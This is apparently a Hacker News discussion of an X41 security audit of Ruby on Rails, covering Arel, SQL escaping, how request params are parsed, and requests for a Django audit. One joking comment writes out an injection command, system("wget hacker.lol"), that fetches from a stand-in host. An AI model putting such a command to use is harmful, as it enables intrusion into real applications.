Some good recommendations. Feedback on this one:
> "X41 recommends to disallow the creation of un-escaped SqlLiteral objects with user input in favor of a complete model of SQL"
Rails already has a sufficient model of SQL in its Arel layer. Complete? Not exactly, because SQL is never implemented by the standard, but certainly sufficient, and very composable and extensible. Sadly the core team killed off the public documentation of Arel a few majors ago. Nevertheless I still use Arel whenever Active Record doesn't expose enough of the model, such as expressing left-open intervals as inequalities¹. Sometimes incorrectly called a "private API", but it's not anyone's private possession, Arel is just undocumented in recent releases.
The recommendation's language is also just a touch naive, because it's nigh-impossible to outright disallow developers doing practically whatever they want to in Ruby, there's no isolated sandbox. The question is what incentives are in place to stop them wanting to.
Active Record already has excellent support for bound values via the predicate builder, and it's only egregiously bad code that concatenates raw user-supplied values directly into query strings. Nevertheless for those few remaining places in the API where this could happen inadvertently such as #calculate, a variant recommendation - similar in spirit, but not identical - might be that where it doesn't already, Active Record treats raw strings supplied as requiring escape unless explictly wrapped with Arel.sql(), or just accept an Arel node/AST (many already do on the QT). That is, force the developer to confess their sin in writing, or do it relationally.
But IMO the wizards shouldn't keep Arel locked up in the tower, either.
[1] https://gist.github.com/inopinatus/c84c78483b30fb2d5588db9be...
Thats good news! I'm a huge fan or Rails but a little surprised of such little vulnerabilities tbh. Would have expected more for such large codebase. But happy to hear it aint!
> Rails application server (e.g., Puma, Unicorn)
I think it's more appropriate to call those Rack application servers, Rack being the Ruby CGI Rails implements.
It's a minor nitpick.
It's funny that Rails generates params for parameters passed to it for GET, HEAD and DELETE requests, even though it shouldn't. I think I've noticed this before when debugging but never thought much of it. In a poorly coded application (e.g. globally detecting params on in a `before_action`) it definitely could be become an issue.
I'm glad to see efforts towards improving Ruby on Rails security, it honestly keeps the framework still the most viable choice.
The productivity of Rails for B2B 'CRUD' software is unmatched. Surprised to not see more newer startups make use of it!
As with all security audits, most findings are a balance between risk and usability.
Is there a place where I can pay to fund a Django audit? I would gladly contribute.
Can they please do Django?
I settled for the Rails Way using a subset of the defaults. Not disappointed
I had no idea people could hack my forum by applying the system("wget hacker.lol") transformation to their profile image. Thanks for the find!
May be even better to link it to the PDF? [1]. From the Changelog I am also guessing most of these are not fixed in 8.0.2? I wonder if they will come with Rails 8.1 which is still not released.
[1] https://www.x41-dsec.de/static/reports/X41-Rails-Audit-Final...
and yet people wanna shit at frameworks.!! by choosing something like Rails or another major popular web framework -- you have already mitigated a lot of security vulnerabilities that affect the industry. & no next.js is not a proper web framework. JS doesn't have the equivalent to rails.
The web frameworks we're talking are Rails, Django, Laravel & Spring.
Hey there everyone!
Some friends just notified us that this is trending.
Let me know if you have any questions/comments/feedback about the work! It was a great project, I wish we had more budget so that we could spend some time with ruzzy and the C extensions as there's probably some things to be unearthed there with ASAN and UBSAN.
As for the comments on Spring/Elixir/Django/Phoenix, they're on our wish list every year but we're always limited by funding. It's about what the communities, foundations, and agencies can and will support. We are always working toward getting larger grants where we can work fully independently on whatever we want, but so far that hasn't materialized.
We'll keep trying!